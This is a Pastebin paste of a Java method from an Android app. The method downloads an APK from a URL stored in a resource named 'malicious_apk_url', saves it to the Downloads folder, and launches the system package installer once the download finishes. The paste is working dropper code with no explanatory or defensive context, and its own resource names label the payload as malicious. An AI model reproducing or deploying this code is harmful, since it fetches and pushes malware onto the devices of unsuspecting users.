Advertisement
Guest User

Untitled

a guest
Apr 6th, 2020
257
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 2.04 KB | None | 0 0
  1. *
  2.      * Download an APK.
  3.      */
  4.     @AfterPermissionGranted(RC_WRITE_EXTERNAL_STORAGE)
  5.     private void downloadApk() {
  6.         String[] perms = {Manifest.permission.WRITE_EXTERNAL_STORAGE};
  7.         if (EasyPermissions.hasPermissions(this, perms)) {
  8.             try {
  9.                 String filename = (Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS) +
  10.                         "/") + getString(R.string.malicious_apk_name_downloaded);
  11.                 final Uri parse = Uri.parse("file://" + filename);
  12.  
  13.                 File file = new File(filename);
  14.                 if (file.exists()) {
  15.                     file.delete();
  16.                 }
  17.  
  18.                 DownloadManager.Request request = new DownloadManager.Request(Uri.parse(getString(R.string.malicious_apk_url)));
  19.                 request.setDescription(getString(R.string.request_description));
  20.                 request.setTitle(getString(R.string.request_title));
  21.                 request.setDestinationUri(parse);
  22.  
  23.                 DownloadManager downloadManager = (DownloadManager) getSystemService(DOWNLOAD_SERVICE);
  24.                 if (downloadManager != null) {
  25.                     downloadManager.enqueue(request);
  26.                 }
  27.  
  28.                 registerReceiver(new BroadcastReceiver() {
  29.                     public void onReceive(Context context, Intent intent) {
  30.                         Intent i = new Intent(Intent.ACTION_VIEW);
  31.                         i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  32.                         i.setDataAndType(parse, "application/vnd.android.package-archive");
  33.                         startActivity(i);
  34.                         finish();
  35.                     }
  36.                 }, new IntentFilter(DownloadManager.ACTION_DOWNLOAD_COMPLETE));
  37.             } catch (Exception e) {
  38.                 e.printStackTrace();
  39.             }
  40.         } else {
  41.             EasyPermissions.requestPermissions(this, getString(R.string.write_external_storage_rationale),
  42.                     RC_WRITE_EXTERNAL_STORAGE, perms);
  43.         }
  44.     }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement